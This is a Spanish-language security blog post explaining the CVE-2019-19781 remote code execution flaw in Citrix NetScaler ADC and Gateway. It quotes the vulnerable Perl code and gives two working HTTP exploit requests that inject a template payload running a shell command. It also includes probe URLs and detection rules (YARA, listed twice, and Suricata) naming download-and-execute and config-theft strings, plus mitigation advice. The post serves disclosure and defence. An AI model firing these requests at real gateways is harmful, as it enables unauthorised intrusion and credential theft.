RCE no autenticado en Citrix Netscaler y Gateway (CVE-2019-19781)

El 17 de Diciembre de 2019, Citrix anunció que NetScaler ADC (Application Delivery Controller) y Citrix Gateway tenían una vulnerabilidad que puede permitir a un atacante no autenticado ejecutar código en gateways vulnerables.

Esto condujo a una ola de titulares alarmantes sobre "80.000 empresas" expuestas debido a esta fallo. Lo más interesante es que Citrix no publicó un parche sino un workaround que, básicamente, añade una política para denegar estas peticiones:
enable ns feature responder
add responder action respondwith403 respondwith "\"HTTP/1.1 403 Forbidden\r\n\r\n\""
add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403
bind responder global ctx267027 1 END -type REQ_OVERRIDE
save config

Como podéis comprobar, una regla para bloquear intentos de explotar path traversal... ¿Y cómo se consigue ejecución remota de código a través de este path traversal?

El 10 de enero, Rio Sherri, consultor de seguridad de MDSec, publicó un post destacando el código en la función 'csd' del módulo perl UserPrefs que "construye una ruta desde el encabezado HTTP NSC_USER sin ningún tipo de sanitización" y se activará con cualquier script que llame a la función:
sub csd {
        my $self = shift;
        my $skip_read = shift || "";
  # Santity Check
    my $cgi = new CGI;
print "Content-type: text/html\n\n";

// Username variable initialized by the NSC_USER HTTP Header
    my $username = Encode::decode('utf8', $ENV{'HTTP_NSC_USER'}) || errorpage("Missing NSC_USER header.”); <- br="" mark="" this="">
    $self->{username} = $username;
...
    $self->{session} = %session;

// Constructing the path from the username.
        $self->{filename} = NetScaler::Portal::Config::c->{bookmark_dir} . Encode::encode('utf8', $username) . '.xml’;
        if($skip_read eq 1) {
                return;
        }

Sherri descubrió que casi "todos los scripts usaban esta función", pero destacó un script en particular, newbm.pl:
my $cgi = new CGI;
print "Content-type: text/html\n\n";
my $user = NetScaler::Portal::UserPrefs->new();
my $doc = $user->csd();
...
my $newurl = Encode::decode('utf8', $cgi->param('url'));
my $newtitle = Encode::decode('utf8', $cgi->param('title'));
my $newdesc = Encode::decode('utf8', $cgi->param('desc'));
my $UI_inuse = Encode::decode('utf8', $cgi->param('UI_inuse'));
...
my $newBM = {   url => $newurl,
    title => $newtitle,
    descr => $newdesc,
    UI_inuse => $UI_inuse,
};
...

Como veis, un script en perl que acepta parámetros y construye un array que se guarda en un archivo XML del servidor:
if ($newBM->{url} =~ /^\/){
   push @{$doc->{filesystems}->{filesystem}}, $newBM;
 } else { # bookmark
   push @{$doc->{bookmarks}->{bookmark}}, $newBM;
 }
// Writing XML file to disk
 $user->filewrite($doc);

Si embargo, la ejecución del código todavía no es posible. Ahí es donde entra en juego la investigación de Craig Young , que menciona una característica no documentada en Perl Template Toolkit que "permitía la ejecución de comandos arbitrarios al procesar una directiva diseñada":
$ cat test.xml

[% test='Hello word' %] [% test %]

$ tpage test.xml

 Hello world

Sherri vio esto como una "posible vía de explotación". Al insertar código arbitrario en el archivo XML, el único paso restante para obtener la ejecución del código sería obtener el motor del template para analizar el archivo.

Aunque ejecutar comandos arbitrarios mediante template en la configuración predeterminada "no es" posible, hay una función no documentada que permite ejecutar código perl. Sherri consiguió por tanto crear peticiones HTTP especialmente diseñadas para 1/ crear archivo XML malicioso y almacenarlo en el servidor y 2/ visitar el XML para el parseo del template.

Y aunque no quisieron desvelar el detalle ¡boom! ya tenemos PoCs con estas peticiones y, por lo tanto, exploits totalmente funcionales.

Primera petición:
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: servidor
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close
Content-Length: 103

url=http://exemple.com&title=[%t=template.new({'BLOCK'='print `uname -a`'})%][% t %]&desc=test&UI_inuse=RfWeb

Segunda petición:
GET /vpns/portal/bonclay4.xml HTTP/1.1
Host: servidor
NSC_USER: ../../../../netscaler/portal/templates/randomletter
NSC_NONCE: c
Connection: close


Así que que hasta que se solucione definitivamente ésto: queridos sysadmin, recomendamos encarecidamente monitorizar y crear las reglas para impedir el path traversal, aka el inicio de explotación de esta grave vulnerabilidad que actualmente expone a miles de nodos/empresas en Internet:
GET /vpn/../vpns/services.html
GET /vpn/../vpns/cfg/smb.conf

Actualizaciones:

  • Ya no es necesario una petición POST y otra GET, vale con dos GET

Detecciones y contramedidas adicionales:
rule EXPL_Shitrix_Exploit_Code_Jan20_1 {
   meta:
      description = "Detects payloads used in Shitrix exploitation CVE-2019-19781"
      author = "Florian Roth"
      reference = "https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Overview+of+Observed+Payloads/25704/"
      date = "2020-01-13"
      score = 70
      type = "file"
   strings:
      $s01 = "/netscaler/portal/scripts/rmpm.pl" ascii
      $s02 = "tee /netscaler/portal/templates/" ascii
      $s03 = "exec(\\'(wget -q -O- http://" ascii
      $s04 = "cd /netscaler/portal; ls" ascii
      $s05 = "cat /flash/nsconfig/ns.conf" ascii
      $s06 = "/netscaler/portal/scripts/PersonalBookmak.pl" ascii
      $s07 = "template.new({'BLOCK'='print readpipe(" ascii /* TrustedSec templae */
      $s08 = "pwnpzi1337" fullword ascii /* PZI india static user name */
      $s09 = "template.new({'BLOCK'=" /* PZI exploit URL decoded form */
      $s10 = "template.new({'BLOCK'%3d" /* PZI exploit URl encoded form */
      $s11 = "my ($citrixmd, %FORM);" /* Perl backdoor */
      $s12 = "(CMD, \"($citrixmd) 2>&1" /* Perl backdoor */

      $b1 = "NSC_USER:" ascii nocase /* https://twitter.com/ItsReallyNick/status/1217308463174496256 */
      $b2 = "NSC_NONCE:" ascii nocase /* https://twitter.com/ItsReallyNick/status/1217308463174496256 */
      $b3 = "/../" ascii
   condition:
      1 of ($s*) or all of ($b*)
}
alert http any any -> $HTTP_SERVERS any (msg:"ET EXPLOIT Possible Citrix Application Delivery Controller Arbitrary Code Execution Attempt (CVE-2019-19781)"; flow:established,to_server; content:"/vpns/"; http_uri; fast_pattern; content:"/../"; http_uri; metadata: former_category EXPLOIT; reference:url,support.citrix.com/article/CTX267679; reference:cve,2019-19781; classtype:attempted-admin; sid:2029206; rev:2; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, deployment SSLDecrypt, signature_severity Major, created_at 2019_12_30, updated_at 2019_12_30;) 
rule EXPL_Shitrix_Exploit_Code_Jan20_1 {
   meta:
      description = "Detects payloads used in Shitrix exploitation CVE-2019-19781"
      author = "Florian Roth"
      reference = "https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Overview+of+Observed+Payloads/25704/"
      date = "2020-01-13"
      score = 70
      type = "file"
   strings:
      $s01 = "/netscaler/portal/scripts/rmpm.pl" ascii
      $s02 = "tee /netscaler/portal/templates/" ascii
      $s03 = "exec(\\'(wget -q -O- http://" ascii
      $s04 = "cd /netscaler/portal; ls" ascii
      $s05 = "cat /flash/nsconfig/ns.conf" ascii
      $s06 = "/netscaler/portal/scripts/PersonalBookmak.pl" ascii
      $s07 = "template.new({'BLOCK'='print readpipe(" ascii /* TrustedSec templae */
      $s08 = "pwnpzi1337" fullword ascii /* PZI india static user name */
      $s09 = "template.new({'BLOCK'=" /* PZI exploit URL decoded form */
      $s10 = "template.new({'BLOCK'%3d" /* PZI exploit URl encoded form */
      $s11 = "my ($citrixmd, %FORM);" /* Perl backdoor */
      $s12 = "(CMD, \"($citrixmd) 2>&1" /* Perl backdoor */

      $b1 = "NSC_USER:" ascii nocase /* https://twitter.com/ItsReallyNick/status/1217308463174496256 */
      $b2 = "NSC_NONCE:" ascii nocase /* https://twitter.com/ItsReallyNick/status/1217308463174496256 */
      $b3 = "/../" ascii
   condition:
      1 of ($s*) or all of ($b*)
}
  • Si los atacantes han conseguido leer el fichero /flash/nsconfig/ns.conf es necesario cambiar inmediatamente todas las passwords. Las contraseñas con SHA512 son fácilmente crackeables con hashcat.
  • Mirar procesos con conexiones sospechosas: 
# sockstat -c -4 | awk '{ if (substr($7,1,8) != "127.0.0.") print $0}'

Comentarios